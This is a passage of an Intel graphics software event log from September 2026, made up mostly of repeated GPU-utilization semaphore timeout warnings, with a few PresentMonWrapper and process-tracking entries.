09:02:57.812\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:58.131\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:58.353\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:58.687\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.008\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.327\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.551\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.764\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:02:59.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:00.203\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:00.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:00.643\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:00.867\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:01.194\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:01.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:01.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:01.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:02.153\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:02.372\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:02.588\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:03.135\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:03.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:03.562\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:03.896\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:04.112\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:04.322\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:04.537\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:05.085\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:05.299\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:05.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:05.960\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:06.279\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:06.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:06.711\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:06.927\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:07.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:07.360\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:07.577\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:07.905\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:08.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:08.451\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:08.667\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:08.872\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.083\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.305\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.522\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.741\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.971\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:09.979\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:26.501\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:26.504\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:26.944\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:27.162\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:27.381\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:27.813\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.025\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.245\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.456\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.663\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:28.883\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:29.209\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:29.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:29.628\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:29.842\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:30.058\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:30.601\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:30.821\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:31.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:31.250\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:31.467\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:31.790\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.008\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.435\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.644\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:32.854\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.292\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.729\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:33.948\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:34.166\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:34.710\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:34.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:35.142\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:35.355\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:35.572\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:35.789\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.002\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.217\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.659\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:36.876\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.095\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.522\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:37.957\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:38.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:38.493\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:38.711\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:38.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:39.149\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:39.358\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:39.581\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:39.798\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.437\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.768\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:40.987\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:41.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:41.419\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 